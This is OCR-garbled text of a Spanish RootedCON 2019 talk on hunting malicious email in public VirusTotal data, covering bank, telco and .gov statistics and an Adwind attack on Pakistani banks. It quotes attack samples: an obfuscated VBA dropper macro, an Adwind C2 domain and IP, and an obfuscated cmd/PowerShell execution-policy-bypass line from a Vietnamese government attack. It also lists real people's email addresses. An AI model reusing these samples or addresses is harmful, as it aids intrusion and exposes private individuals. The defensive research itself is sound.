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Email! Email! Email!

ESPANA

ATAQUES INFORMATICOS »
Una “potencia extranjera” ataco los ordenadores de
Defensa

Los ciberespias, que infectaron con un{girus tres meses la red de comunicacion interna z
detectados, querian acceder a secretos de dailitar

El temor es que el virus —que al parecer se introdujo con un correo electrénico—
haya colonizado otras redes. El objetivo de los ciberespias, seglin las fuentes
consultadas, podrian ser secretos tecnolégicos de la industria militar. Los
investigadores no se atreven aln a sefialar a los autores de la intrusidn pero, por
sus caracteristicas técnicas, no dudan en afirmar: “Hay un Estado detras”.

100M

10M

Google

email
All News Images Videos Mare * Search tools
About 2 5600 0 results (0 40 seconds)

Email: The Most Common Attack Vector - VIPRE
https:/Awwav.vipre.com/._/email-the-most-commen-attack-vector/ ¥ Traducir esta pagina

15 may. 2018 - Email: The Most Common Attack Vector. Posted by VIPRE Security. Have you ora
colleague ever received an urgent message from the CEO

Email — the #1 threat vector - Barracuda Networks

https://blog.barracuda.com > Email Protection ¥ Traducir esta pagina

15 dic. 2016 - So far in our series we've talking about ransomware, threat vectors, and the __ at email
and why it's the biggest and most exploited threat vector of all. ... email address. a malicious but well-
crafted attack could easily get in front ...

Weaponized emails are top APTs infection vector in today malware ...
hitps:/Avww.dil a.comy/.../ ized-email: top-a... ¥ Traducir esta pagina
7 feb. 2019 - Yoroi-Cybaze: The top cybercrime and state-sponsored hackers infection vector in
today malware landscape are the weaponized Microsoft

Users encounter threats through email twice as often as other infection ...
https:/fwww.symantec.com/blogs/threat.../email-report-2017 ¥ Traducir esta pagina

Users encounter threats through email twice as often as other infection vectors. The latest ISTR
special report, Email Threats 2017, casts a light on a threat

Phishing remains top attack vector for criminals, both novice and ...
https:/www.csoonline.comy.. fphishing-remains-top-attack-vector... ¥ Traducir esta pagina
Phishing remains top attack vector for criminals, beth nevice and professional _.. or they'll
compromise a key email account and use it to launch their attack

Email a Top Attack Veector, Users Can't ID a Fake - Infosecurity Magazine
hitps:/fwww infosecurity-magazine.com/../email-a-top-attack-vect... ¥ Traducir esta pagina

1 nov. 2018 - Emails continue to be cyber-criminals’ vector of choice for distributing malware and
phishing, according to a report released today by Proofpoint

Phishing Remains Top Cyberattack Vector in 2017 - Infosecurity ...
https:/fwww.infosecurity-magazine.com/.../phishing-remains-top-... ¥ Traducir esta pagina
27 sept. 2017 - O all attack vectors, phishing remains the mest commonly exploited, and
According to the IRONSCALES 2017 Email Security Report, culled
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Emails en Fuente abierta... fuga de datos....

“(

From emails
To emails
Subjects
Adjuntos
Body:(passwords,contexto,
INFORMACION....)
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Emails en Fuente abierta... fuga de datos...

C"’a A s Untitled - Message (HTML) =

Message Insert Options Format Text (7]

e ) =5 S - ; @ i b Business Card ~ L >
. Calibri (Body) ~ 11 - NEE =GR e @ 0 = Y’ “?
] {' S8} & : (D

A )
i @Calendar !

Paste B 7 U ¥ A== =2 :E: Address Check | Attach Attach Follow _}1_] Spelling
~ J = — =SE Book Names File Iem L& Signature ~ Up~ ’ -
Clipboard ™ Basic Text ] Names Include Options = || Proofing

|
Ce.,
Subject:
&)
A!

---DISCLAIMER--- The contents of this E-mail (including the contents of the enclosure/(s) or attachment/(s)
if any) are privileged and confidential material of Mahindra and Mahindra Limited

and should not be disclosed to, used by or copied in any manner by anyone other than the intended
addressee/(s).

m
i

If this E-mail (including the enclosure/(s) or attachment/(s) if any ) has been received in error, please advise
the sender immediately and

delete it from your system. The views expressed in this E-mail message (including the enclosure/(s) or
attachment/(s) if any) are those of the individual sender.

RN
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Malware Banco Pakistan

GO gle pakistan bank hacked !, Q

Todo MNoticias Imagenes Videos vaps Mas Configuracion Herramientas

Aproximadamente 7.070.000 resultados (0.41 segundos)

Thousands of Pakistan bank accounts hacked, money stolen in ...
hitps:/iwww.thehindu.com » News > International ¥ Traducir esta pagina

7 nov. 2018 - File photo of a staff counting currency notes at a bank in Peshawar, Pakistan. The
country’s top investigation wing is probing massive hack that ...

Pakistan reports card-skimming, but says no mass bank data breach ...
hitps:/fwww reuters.comy/.pakistan-banking.. /pakistan-reports-ca... * Traducir esta pagina

its banking system had not been hacked after a mass ...

"Almost all' Pakistani banks hacked in security breach, says FIA ... - Dawn
hitps:/iwww dawn.com/news/1443970 ¥ Traducir esta pagina

6 nov. 2018 - Sources told Dawn the State Bank of Pakistan (SBP) has been informed by several
commercial banks that they have blocked international ...

Data of almost all Pakistani banks hacked: Report - The Economic Times
https:/feconomictimes.indiatimes.com » __. » World News ¥ Traducir esta pagina

6 nov. 2018 - The first case of a cyber attack on a Pakistan's bank was reported by ... data of most of
the banks operating in Pakistan has been hacked, ...

Pakistan bank hack hits the country's 'biggest cyber attack' - $6 million ...
nhttps://hackerpost.co/pakistani-islami-bank-hits-the-countrys-bigg... ¥ Traducir esta pagina
On 27th October, Karachi-based Bank Islami reports of suffering a security breach of its payment
cards system, reports of having lost an alleged $6 million

Pakistan: Banks Weren't Hacked, But Card Details Leaked

hitps:/fwww bankinfosecurity. com/pakistan-banks-werent-hacked... ¥ Traducir esta pagina

7 nov. 2018 - Pakistan says the nation’s banks have not been hacked, but adds that they are ... The
State Bank of Pakistan says banks are implementing
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El origen... Bancos Pakistan

Ratio First sub. Last sub. Times sub.  Sources Size
:> c11d0591360b4 16e27b1844fd58d56e13230b92ccObfefe309abb833e3fdfc 14/59 2018-09-29  2018-09-29 1 1 109.3 KB

9239679daddc75a3a94506f27ca0d0bl 01:02:58 01:02:58
/*¥YARA*/

From Muzaffar Hayat <muzaffar.hayat@bankislami.com.pk> Sat Sep 29 03:01:07 2018
Date: Wed, 26 Sep 2018 09:16:22 +0500

E-Version: 1.0

Content-Type: multipart/mixed; boundary="15381828671.ccd62B0.13648"
t-Transfer-Encoding: 7bit

: Re: Funding

From: Muzaffar Hayat <muzaffar.hayat@bankislami.com.pk>

To: munam i <munam.ali@sbp.org.pk>

Message-Id:

<1194752429.11903411.15379353682119.JavaMail. zimbra@bankislami.com.pk>
In-Reply-To: <5072400470184698315193@kathaleense3>
References: <5072400470184698315193@kathaleense3>
Received: from mail2.sbp.org.pk (10.0.100.74) by K

EBMAIL1.sbp.org.pk
.1; Wed, 26 Sep 2018

1 (10 100.65) with
i, 26/09/2018 &:16 1 09:16:58 +0500
Received: from mailb.bankislami.com.pk (mail.bankislami.com.pk
[202.141.255.217]) by mail2.sbp.org.pk h ESMTP id DMHYTfjrdHSakqgjy
(version=TLSv1.2 cipher=ECDHE-RSA-RES256-GCM-SHA384 bits=256 verify=NO) for
<munam.ali@sbp.org.pk>; Wed, 26 Sep 2018 09:16:27 +0500 (PKT)

2 i i: from mail.bankislami.com.pk (mail.bankislami.com.pk [10.200.6.68])
m al by m .bankislami.com.pk with ESMTP id 9g4pzzMIeKQL6jZU (version=TLSv1.2
2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for

Se han quitado 105 saltos de lines adiaonales de este mensaje <munam.ali@sbp.org.pk>; Wed, 26 Sep 201 6:24 +0500 (PKT)
Received: from mail.bankislami.com.pk (localhost [127.0.0.1])) by
mail.bankislami.com.pk (Postfix) with ESMTPS id 759E411FE6A6 for
wnam.ali@sbp.org.pk>; Wed, 26 Sep 2018 09:16:24 +0500 (PKT)

Received: from localhost (localhost [127.0.0.1)]) by mail.bankislami.com.pk
(Postfix) with ESMTP id 489B811FE6AS for <munam.ali@s! org.pk>; Wed, 26 Sep
2018 09:16:24 +0500 (PKT)

Received: from mail.bankislami.com.pk ([127 0.1]) by localhost
(mail.bankislami.com.pk (127.0.0.1]) (amavisd , port 10026) with ESMTP id
0xgGSAK71ASu for <munam.ali@sbp.org.pk>; Wed, 26 Sep 2018 09:16:23 +0500
(BKT)

Received: from mailo.bankislami.com.pk (mailo.bankislami.com.pk
[10.200.6.63 by mail.bankislami.com.pk (Postfix) with ESMTP id ACE1D11FEéBO
for <munam.ali@sbp.org.pk>; Wed, 26 Sep 2018 09: 3 +0500 (PKT)

X-Amavis-Modified: Mail body modified (using discl. er) -
mail.bankislami.com.pk

Reply-To: Muzaffar Hayat <muzaffar.hayat@bankislami.com.pk>

X-Originating-IP: [10.200.6.68)

4 Thread-Topic: Funding

4 Thread dex: XFYRbnQXGxbTV/pu dXWSMkvsmE
X-Viru canned: by bsmtpd at bankislami.com.pk

14 X-Virus-Scanned: by bsmtpd at sbp.org.pk

§ Return-Path: btvl==80752cé9%a27==muzaffar.hayat@bankislami.com.pk

rosoft SMTP Server id 14.3.2

Para m

Funding_ 0090262018 _xis.p
STKB

RootedCON 2019




/Rootad®

Malware Banco Pakistan

Ellﬂ ctlusers|adminidesktopibankislami\funding_0090262018_xs.jar | engine (58) | detection {16)
il indicakors {112} MicrowWorld-eScan Trojan. GenerickD, 312420583
; wirustotal {16/59 - 16,10,2018) Symantec Trojan.Maljava
“abe strings (0f51/0/071048) ESET-NOD32 a variank of Generik, CMBOUDF
Kaspersky HEUR.:Backdoor, Java, dwind, gen
EitDefender Trojan. GenerickD, 31242083
Ad-Aware Trojan. GenerickD, 31242083
Emsisoft Trojan.GenerickD, 312420835 (B)
McAfee-Git-Edition Artemis! Trojan
Tkarus Trojan. Java, Agent
Cyren JavaMalfgent,H!Camelat
Avira JasafAadwind wahsr
Fortinet JavalAgent.6F&4 1t
Arcabit Trojan.Generic, D10DCETES
|£fFunding_DD90262018 s jar | Zonohiam oy e o
Description: GData Trojan. GenerickD, 31242083

Adwind es un RAT basado en Java que se instala silenciosamente y se conecta a un
sitio remoto a través de un puerto preconfigurado para recibir comandos del
atacante remoto. Cuando estda activo, es capaz de robar informacion de usuario y
también puede utilizarse para distribuir otro malware.

matrokodaduol.myddns.me 185.24.234.112
DNS queries

300

200
F
E’ Wedneaday, Oct 31, 14:00
& 100 ® Queries: 25
2 .

2. Oct 4. Oct 6. Oct 8. Oct 10. Oct 12. Oct 14. Oct 16. Oct 18. Oct 20. Oct 22. Oct 24. Oct 26. Oct 28B. Oct 30. Oct
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MAIL MINCER: Arquitectura

Tecnologia interna.

* Permite analizar documentos ofimaticos y PDF

* Sin necesidad de subir el archivo completo.
Analiza protegiendo la privacidad.

* No utiliza tecnologia antivirus, sino un sistema de
prediccidn propio basado en Machine Learning

* Permite para el analista bucear por los datos de
todos esos documentos, sin conocer su contenido ‘
ni quién lo subid, solo los datos relevantes para E | NTE I_.I_I G E N

\ una investigacion / I ==z ¥ I ‘

ML: DIARIO ——

Cabeceras
Adjuntos
Contenido

Etc...

/*YARA*/

_’

PLATAFORMA DE HUNTING EN

SISTEMA DATA ANALITYC
PROCESAMIENTO

SANDBOX: WILDFIRE AV: VIRUSTOTAL
PALOALTO
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MAIL MINCER: Tabla resultados

GOV EMAILS

DASHBOARD DE EMAILS QUE SON ENVIADOS O RECIBIDOS POR UN DOMINIO .GOV

*.gow. All time

TABLA DATOS EMAILS BUSQUEDA POR TLD *.gov.*
Resultados de EMAILS con dominio *.gov.* en to: o from:

datos_wvt.positives
datos_yara.sha256 # -

35

datos_email.date

-
-

datos_email.from{}{} =

datos_email.to{}} +

RootedCON 2019

datos_email.subject *

Export v

datos_yara.First_Country

-
-
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MAIL MINCER: Dashboard

ANALISIS MALWARE Edit  Export v

Andlisis de Malware
Dominio Tiempo N2 de AV para considerar positivo

"*.com" All time 5

TOTALES ANALIZADOS ML

59,585

MALWARE TOTAL NO DETECTADOS POR MACHINE LEARNING EN EL

DOMINIO: "*.com"

Mas de 5 positivos en VT y veredicto SANDBOX=malware

150

TOTALES ANALIZADOS SANDBOX

66,210

MALWARE TOTAL NO DETECTADOS POR SANDBOX EN EL
DOMINIO: "™.com"

Mas de 5 positivos en VT y veredicto MACHINE LEARNING=malware

]

TOTALES ANALIZADOS VT

87,561

MALWARE TOTAL NO DETECTADOS POR ANTIVIRUS EN EL
DOMINIO: "*.com"

MACHINE LEARNING=malware Y SANDBOX=malware

25

3 4 2

L — e P P P — Microsoft Excel Document Microsoft Word 97 - 2003 Document Microsoft Excel Document Microsoft Word Document

DETECCIONES UNICAS POR SANDBOX EN EL DOMINIO: "*.com” DETECCIONES UNICAS POR ANTIVIRUS EN EL DOMINIO: ".com”

DETECCIONES UNICAS POR MACHINE LEARNING EN EL DOMINIO:
".com"

600
6

No results found.

37
6 4

" Microsoft Excel Document | Microsoft Wor...03 Document | Microsoft Word Document

" Microsoft Exc_03 Document | Microsoft Excel Document | Microsoft Woe 03 Document | Micrasoft Word Document. |
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MAIL MINCER: Dashboard

ANALISIS USUARIOS VT Edit | Export v

Se estudian los tipos de usuarios que envian correos con dominios .gov. Su ubicacién geogréfica y la cantidad del malware que envian y detecciones de vt.

EMAILS .GOV POR PAIS DE ENVIO Y CUENTA DE USUARIO
EMAILS ENVIADOS POR PAIS Y CUENTA DE USUARIO VT

1

v
=
Ed
=
w
z
=
=
z
w
w
2
o
2
z
<
2
[

GB
PAISES

Detecciones VT por usuario FUENTE DEL ENVIO
Ndmero de detecciones VT en Iso emails por usuario de envio a VT Porcentaje de EMAIL .GOV envidos po

1 count

DETECTADOS POR USUARIO

18 207227237 24725 26" 27728732
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DIARIO

. dlarlo Ofﬁ Ce Documents |dioma =  miguelangel decastro@tl

M) Change Requssts
= Modeks

i=  Changelog (Admin)
- lsers

¢>» APIClients

Q_) L&k > BE  NEURAL_NETWORK_2 f19pL20b9L312852L38587806a32L5d0c008207 Tc3232f28Lc5ed 1 LecTalckies 2019-03-25 14-55-10
i= Chengelog > B  NEURAL_MNETWORK_2 d17acde75ae2560a180c718257423ec68bal3c0928385353bbfbelb33aad a7 2018-03-25 14-55-01
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DIARIO

Macro details

Idioma ~

etalls

Name:
Impact on data base
Prediction: fe:‘dback
Date: =
Verified
Code

1 ttribute VB Name = "qI1BKE
2 Function FAAM1zzG(lzunBSv, MrZjG2cl)
3 On Error Resume Next

a Set V2Julw = X708HQLS

5 If ohCzSNTz And 1ZSYQNY Then
6

7

8

9

Set mjfjuvd - TCB1iQu
Ji7bMHWD = CByts(rrl3nf - CSng(177794637) - ARZzip / Fix(k350kaP + YSMXKrVbh + 837751444 + Int(942706437)))
Set rUTejw = lxvafo
End If
10 Set ppI8VSG = wV6a32
11 If VISWsOU And OJNgkuhY Then
12 Set JwmSFqo = ASYawt
13 wMErzCa - CByte(oUVKXCET - C5ng(962508631) - cwpDEASS / Fix(WB2VIMEL + KQISUrtn + 324337175 + Int(655987927)))
14 Set t62KjAvz = HNVXiPu
15 End If
16  Shell (lzunBSv + NSGMC3 + iEXstPc2 + KDkqTDn + DmjjMFjU + jOFIVpCo), BVDZTHDE + coloUhA + HSaoda + MrZjG2cl + jzsSn¥Z + JVEBKnC
17 Set CGz9vt7c = wSb7VgY]
18 If i6QE@1i And t8cATH Then
19 Set alcMF4 = CpdGHzull
20 DI1vB&O = CByte(¥4bBézn - CSng(654294616) - cQiFdUTK / Fix(zEMGiL + NjQOZtad + 297136682 + Int(52351796)))
21 Set YcSwnQz = XCuMubiY
22 End If
23 Set HzdaxT = DblTnLz
24 If jutetu And KQ365wi Then
25  Set AsOKSv = kXhSHL
26 fvnoFZ = CByte(SKD2hKo - CSng(121428135) - JF7IT9A / Fix(TTNFEw + AlwAln + 617555218 + Int(816345682)))
27  Set svhtacjA = YcoocX
28 End If

miguelangel deca

/Rootad®

uata vase
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DIARIO

Quien esté interesado en acceder al panel o la API, que se
dirja a diario.e-paths.com y que escriba a labs@11paths.com
identificandose como Rooted XEdition.

wdiario

A NEW MALWARE DETECTION CONCEPT

DIARIO scans and analyzes documents in a static way keeping users’ content private

WANT TO TRY?

RootedCON 2019
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4,476,864

Elementos procesados

Resultados estadisticOS (4 meses)

Tipos de ficheros Pais primer envio a VT
ZZ AR
other {47} Android US AT
unknown ELF UA BE
T™W BR
TH BY
Email <
RU CA
RO CN
Win32 EXE PH co
HTMKIL NL cz
Qutlook KR oF
Rich Text Format N £S
e GB FR

Win32 DLL
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Resultados estadisticOS (4 meses)

Top 30 de asuntos

* Rgponse Automatique **

Fued:

N=as

: MESSAGE ENCRYPTED] AirPlus Rechnung X-DTG4358-ZIP / EDI-Partnerkennung LASG
ReAutobitcoin Soft £10.000 Eurc every day

TAL LUMARE | PO-GMF-1807-005 ) BARGING ORDER CONFIRMATION
Payment Confirmation Copy - Kindly Release our Order

Is this your phota?

REQUEST FOR QUOTATION

FW: Anchetd si comanda - Cerere de oferta

Mew Order

Payment Document

Top 30 de adjunto 1

Verification_Documents.doc
Followers-Pircelist html

faktura.tar

shipping documents.zip
Invoice-Due-09.zip

info.zip

smime.p7m

PO-GMF-1807-005.xIsx

payment confirmation copy 25122019.so

Delivery-Details.zip

scanned.7z

Unsupported File Types Alert.txt

winmail.dat

Malware Alert Text.txt

netstat-listen.txt
9|Z|_030619_00A8.doc
TT ADVANCE.zip

S AM s

/Rootad®
4,476,864

Elementos procesados

[WARNING : MESSAGE ENCRYPTED] AirPlus Rechnung X-DTDH23-ZIP .

Re: I NEED YOUR ASSISTANCE

Failure Mail

Bewerbung

nogpoSHOCTY 3aKa3a

=M a3

S-S hEe~nEETT,

FEM

DHL- Your Package Has Armrived but With Issues.

3aKas

Top 30 de adjunto 2

Lebenslauf HA.docx
Lebenslauf.doc

Bryan Appraisal Services, Inc. CPl Worksheet.xls
Lebenslauf Jonas Langer .docx
logo_tlsi.jpg

Zeugnisse.pdf

Atachments.zip
Lebenslauf.odt
INV-73625382938.docx
smime.p7s

Lebenslaufdocx

Remittance banking Details.doc

RootedCON 2019

ebs_dok.zip

Lebenslauf.pdf

convenzione sbb.pdf
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Resultados estadisticos (4 meses) 4,476,864

Elementos procesados
Top 20 From emails

Ivan Cisc ivanciscl@gmail.com EDI User edi@airplus.de
Jedinak Gunter purchase@spmaskiner.se
TME dsoatme.pl

Jerry Williams JWilliams@maurycounty-tn.gov #2 ot 7 EENBIEET - 2 7 LEEF — L compass@nhn-playart.com
Login Motify for EBS-Sauron security@ebs-inkjet.pl
Do Not Reply no-reply@arrow.com

DHL Parcel Polska Mail Agent pl.norephy@dhl.com Kim Leang stephen@styleloft.co.uk
Login Notify for EBS-OVH security@ebs-inkjet.pl
Intel innovation auto@spigit.com Failure Mail bill7771&mindsprinng.com

M.Shafique sales@rrni-global.com

=0 BEHEERT 7 7 LEET L

Customer customer@ahnlab.com

4

Dries Derwael bltrl@dhl.com

ALPHA EXCHANGE COMPANY samersh@gmail.com

RootedCON 2019
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Resultados estadisticos (4 meses) 4,476,864

Elementos procesados
Bottom 20 From emails solo 1 email

SAFCO International Trading Co. LL.C padith@gmail.com SALINA LIMITED COMPANY test@thedubsproview.co.uk
Rovyal Bank of Scotland les.matheson@rbs-auditfinancecommittee.co.uk preet pkverma@garghtd.com
PT.Chaya Interfreight Cargo fauziah@interfreight-cargo.com Amazon COrder dijones@hotmail.com

Okan Kurkcd (Okan.Kuerkcue@gmenet) OkanKuerkcueggmx.net alerts@ironline.ird.govi.nz alerts.irdonline.ird.govtnz@myir.co.nz

Ms Uraiwan 5 albertinifrancog@tiscali it BRANDSTAR tel-_954_9758147a127.0.01

Mr. Anthony Hemmerdinger service@purchase-asda.co.uk Bianka Kekler (bianka-kessleraweb.de) bianka-kessler@web.de

MedicareFlan.com iIMBcBAZwledsrT1gOFOJEXTMskbAmx@asmpx.newagebase.com COSCO SHIPPING BULK CO., LTD / HAINAN BRANCH tanghaozhen@chinabulker.com

MAYANG (777 77/ Mob:010-6477-3160) acc.sjasjmarine.co.kr Dhl express worldwide edhleworldwideagmail.com

Lawrence C. Johnson lawrence johnson@vertexeng.com Emilly grahamt&ternytoy.ml

Hui ¥ing Lu no-reply@antiallergyshop.com Gally 5.p.A salesl@gally.it

RootedCON 2019
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Resultados estadisticos (4 meses) 4,476,864

Top 20 To emails

Recipients import@epicwares.net

Recipients infotroun@gmail .com

You supply@ezzshipping.com

Evelyne Schmid evelyne. schmid@pangas.ch
IN-ZEISS Excellence Event zeed@zeiss.com
fud2uxta fulZ2uxta@mail.ru

mymail mail&mymail.com
mark@questcomp.com' mark@questcomp.com
SALES SALES aursales@momaster.com
Support (Hotline) support@hoffmanneitle.com
Recipients printernetbankingl0&bestmailtoday.com

Recipients ivancisclEZgmail.com

Elementos procesados

Dawid Kotrys d kotrysEicloud com

Recipients sales@rrni-global.com

Syyoon syyoondahnlab.com

Shopping shopping@ahnlab.com

RootedCON 2019
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Resultados estadisticos (4 meses) 4,476,864

Bottom 20 To emails solo 1 email

mecastellanosgcontratistasfrontera.com Cristian Sebastian Mendez Pasz MC_consultori0afronterasnergy.ca
sffeagrarfrost.de Ikampani2agrarfrost.de lkampani@agrarrost.de fewalddagrarfrost.de fewald2agrarfrost.de

chischoff@agrarfrost.de Ikampani@2agrarfrost.de (kampani@agrarfrost.de Ewald Frauke fewald@agrarrost de

Elementos procesados

ffcstafliingafeatherfallscasino.com ficstaffingafeatherfallzcasino.com
info@luebke-vogt.de infoluebkevogtds

"Edmund Prat” "skempprent’@pomtrant.ru

“NO-RELY@MICROSCFT.MET" NO-RELY @MICROSOFT.NET

sffi2agrarfrost.de fewald@agrarfrost.de fewald@agrarfrost.de Ikampanizagrarfrost.de lkampani@agrarfrost.de

“mouc-idf* <tous-idialistes.ird fr> =?UTF-8782ImtwdWhtaWRmIIABd G S oy ip

fizagrarfrost.de Tkampankaagrarrost de' lkampanizagrarfrostde fewald2agrarfrost. de fewaldaagrarfrost.de

ELG US Helium Customer Service ushelumeslg.us&linds.com “tous-bseut” <tous-brestlistes.ird fre =?UTF-82B 7 InRwd XMEYRMId X IDx 0k

0% dippykateloren.com “tows-gondy” <tous-bondyElstesird fre =2UTF-87ENnRwEMEZ2 Sul Hikil D

0% bob_examipayahoo.com FCLOSING SHIPPING #CLOSINGSHIPPIMG2orangecountysou.org

BLG Coa GMA Cluster C5 GreaterMontreal.lg.ca@linde.com #¥LE DE MEPCER #LE_DE_M:PCER@intemal.inde.con

#MSC #MSCaorangecountysou.ong #LG DE Unterbichler ALLE #LG_DE_Unterbichler_ALLE=intermal linde.com
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4,476,864

Elementos procesados

Resultados estadisticOS (4 meses)

Top 25 From: dominios .es

Universidad
Banca
Empresarial
Servicios
Alimentacién Alimentacion
Industrial
Industrial
Construccion
Servicios
Universidad
: Marketing
Logistica
Banca Industrial
Industrial Alimentacion
Banca Limpieza
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Resultados estadisticos (4 meses) 4,476,864

o Elementos procesados
Top 25 To: dominios .es

Ciberseguridad
Servicios
Industrial
Limpieza
Automocion
Construccion
Logistica
Informética

Telco

Gestion

Consultoria
Transportes

Consultoria
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Resultados estadisticos: Sector Banca

Nudmero de positivos en VT TOP de usuarios de VT que suben emails

24
23
21

Distribucion por paises

BG
BY
CN
CcO
DE
EE

ES

FR

29



Resultados estadisticos: Sector Banca

DOMINIOS RECEPTORES DE EMAILS DOMINIOS ENVIADORES DE EMAILS

.8z WesternUnion-MoneyTr...IN0@bestmailtoday.com
~dZ

Jp

gmail.com

com

.bg

30




Resultados estadisticos: Sector Banca

TIPOS ADJUNTOS

7zip Archive
Microsoft Excel 97 - 2003 Document

Microsoft Excel Document

Microsoft Word 97 - 2003 Document
PDF

ADJUNTOS ANALIZADOS SANDBOX

Microsoft Word Document

100 93

10

yes

7zip Archive Microsoft Excel 97 - 2003 Document Microsoft Excel Document Microsoft Word 97 - 2003 Document Microsoft Word Document
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Resultados estadisticos: Sector Telco

Ndmero de positivos en VT TOP de usuarios de VT que suben emails

34
25
21
19
13
12

us
TH

RU
PK

KR

JP

GB

Distribucion por paises

BR
CN
CZ
DE
EC
ES

FR

32



Resultados estadisticos: Sector Telco

DOMINIOS RECEPTORES DE EMAILS DOMINIOS ENVIADORES DE EMAILS

gmail.com

33



Resultados estadisticos:

TIPOS ADJUNTOS

PDF

10

1

Microsoft Excel Document

Microsoft PowerPoint 97 - 2003 Document

Microsoft Word 97 - 2003 Document

Microsoft Word Document

Microsoft Excel Document

ADJUNTOS ANALIZADOS SANDBOX

" Microsoft PowerPoint 97 - 2003 Document

Microsoft Word 97 - 2003 Document

6 6
-.
T

Sector Telco

Microsoft Word Document

13
' PDF

no
yes

34



Resultados estadisticos: cuentas "publicas”

Numero de positivos en VT TOP de usuarios de VT que suben emails

21
13

- N W s N

Distribucion por paises

BY
CA
CN
CO
DE
ES

FR

35



Resultados estadisticos: cuentas "publicas”

DOMINIOS RECEPTORES DE EMAILS DOMINIOS ENVIADORES DE EMAILS
1@gmail.com
@gmail.com
gmail.com
@gmail.com

outlook.com
hotmail.com i@gmail.com
yahoo.com Bgmail.com

i@gmail.com

]




Resultados estadisticos: cuentas "publicas”

JAVA JAR

Microsoft Excel 97 - 2003 Document
Microsoft Excel Document

Microsoft PowerPoint 97 - 2003 Document
Microsoft PowerPoint Document

PDF Microsoft Word 97 - 2003 Document

Microsoft Word Document ADJUNTOS ANALIZADOS SANDBOX

234
100

Microsoft Excel 97 - 2003 Document

Microsoft PowerPoint 97 - 2003 Document Microsoft Word 97 - 2003 Document
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Y 4 ] (]
Analisis .gov
DOMINIOS .GOV RECEPTORES DE EMAIL

Total: 531 emails

CUENTAS QUE ENVIAN EMAIL A DOMINIOS .GOV

39



Analisis .gov

PAISES QUE MANDAN A FUENTE PUBLICA EMAILS .GOV

Total: 531 emails

AE
AU
BR
cOo
DE

DK
FR

CUENTAS VT QUE MANDAN A FUENTE PUBLICA EMAILS .GOV

270

44

40



AnéliSiS .QOV Total: 531 emails

DETECCIONES EN VIRUSTOTAL DETECCIONES EN VIRUSTOTAL

35
3
28
25
2
18
16
10
]
3

TIPOS DE FICHERO EN ADJUNTOS NUMERO POSITIVOS EN VIRUSTOTAL
7zip Archive N
Microsoft Excel 97 - 2003 Document 5
Microsoft Excel Document 3

Microsoft Word 97 - 2003 Document 1

Microsoft Word Document

241

PDF




Analisis .gOV JUNTAMOS TODAS LAS ANALITICAS

TOTALES ANALIZADOS ML TOTALES ANALIZADOS SANDBOX TOTALES ANALIZADOS VT

59,585 65,847 82,279

email_sha256 =

datos_vt.positives

5063301 49be894eac68bactbebal04de62d5000d5e1a823b1¢c93b3254278e9¢ca

Tbb5f65b3b7deabbc5e8532feebaccdlcf@a8calba8fbb31f4cada3d32695d1d

+  datos_email.from{){} =

33 donotreply@dartford-crossing-

charge. service.gov.uk

24 Donnelly
Michael@ARB
hospital_contaduria@villacarlospaz.gov.ar

michael .donnelly@arb. ca.gov

datos_email.to_domains{}

s
hd

ssenvirothermal. com

ReportWE.informes(}.process{}.command +
arb.ca.gov

C:\Program Files (x86)\Microsoft Office\Officel4\EXCEL.EXE

C:\Program Files\Microsoft Office\Officel12\EXCEL.EXE

C:\Program Files (x86)\Microsoft Office\Officel4\WINWORD.
C:\Program Files\Microsoft Office\Officel2\WINWORD.EXE

ReportWFfiletype = ReportVT.positives =~ ReportDiario.data.prediction ~ ReportWF.malware  ReportWF.informes(}.ne

ReportWF.sha256 = + v = + v

) ) ) ~ C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\310.exe
132532604454c0fc81b9675a95de810ffcae?8cabf52006aca3b15d8f11abcbb  Microsoft Excel 44 Goodware yes 23.102.23.44 : I -
C:\Windows\System32\WindowsPowerShell\v1.@\powershell .exe

97 - 2003
Document

5e@9fdb1578ad4ebdea?ed7937657b583ad8b39abc4411177bf5478febbeccl  Microsoft Word 44 Goodware yes 203.28.48.11

97 - 2003
Document

217.34.55.79

224.0.0.252

EXE

42



Analisis .gOV APARECEN LAS SINGULARIDADES!!

43
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Ataque sofisticado al gobierno de Vietham

7 7 % %

datos_email.date datos_vt.positives datos_email.from{} ./ datos_emailto{}{} .~ datos_email.subject datos_email.attachment_filename0
datos_yara.sha256 4 ]

TKCT.zip

TECT.zip size 155473 bytes
entropy 7.997

D% g bang cach s dung OWA cho iPhone

Tir: 5o Moi wu

Pagiri: 13Thang Ba 2019 10:23:53 54

Pén: Nguyen Vin Chién; Meuyen Thi Hing Mhung; L& Pho Nguyén; Tran Trung Son; Vi Ngoc Phi; W8 Thi Tuyén; v vin Viét; Hoang Cong Nehia; Mai Kim
Anh; Nguyén Qudc D0; Phan Thi Thanh; Tra Hoa M Tran w0 Link; V8 Thi Thu Diém; ¥8 Trigu Anh; Bui Thi Thu Linh; Duwang Troe Tién; Huynh Bao Trung;
Huynh Thi Nhu Ngoc Lé Bire Tho; L& Thi Kim Thao; L& Thi Thu Thing Megd Thi Kim Thiy; Neuyén Bing Mhat Mink; Meuyén Vit Bio; Nguyén WY Phudng;
Fharm Thi Thanh Huang; Tran Einh Quan; Tran Bie anh; Tran Thi Bich Diém; Tran Thi Bich Thy; v Thanh Nguyén; Nguyén Thi Td Loan;
vanthu@danang.govyn; Bing Chi Thanh; Tran Danh Narm; Hoang Tan NG Mhw Ngog Nguyén Thi Kitm Hiing; Nguy?—in Thi Kirn Canh; Pham Thi Kim
Mhung; Admin Ban Thi dua Khen thud ng; Mg Khai; Nguyén van Nam; Tie vin v Binh; v Qud'c Ting Hunh Thi Mhu Ngoc

Chia dé: TKCT quy | nam 2013

Kinh gibi; Toan thé céing chirc, vign chirc va ngudi lao ding S& Naiw

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

DOS FUSCATION + FILE CARVING + FILESS POWERSHELL + AppLocker Bypass + Cobalt

A~ ) e %comspec% /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam
@ j '4 = ::z: - [romspecz /o Faudndic 4 1ndst /b /e % I 20 19 ° d OC * | n k" >%te m p%\%Wi n d i r : ~-
< D V. - . ~ i
. — —_— 1,1%.ps1 | p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
- : - —_ - Shotcutkey.  [Nene 0 . — 0/0 . N 0 . 0 o/\ o . c N
$ [ N 5 bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-
: o | . . .
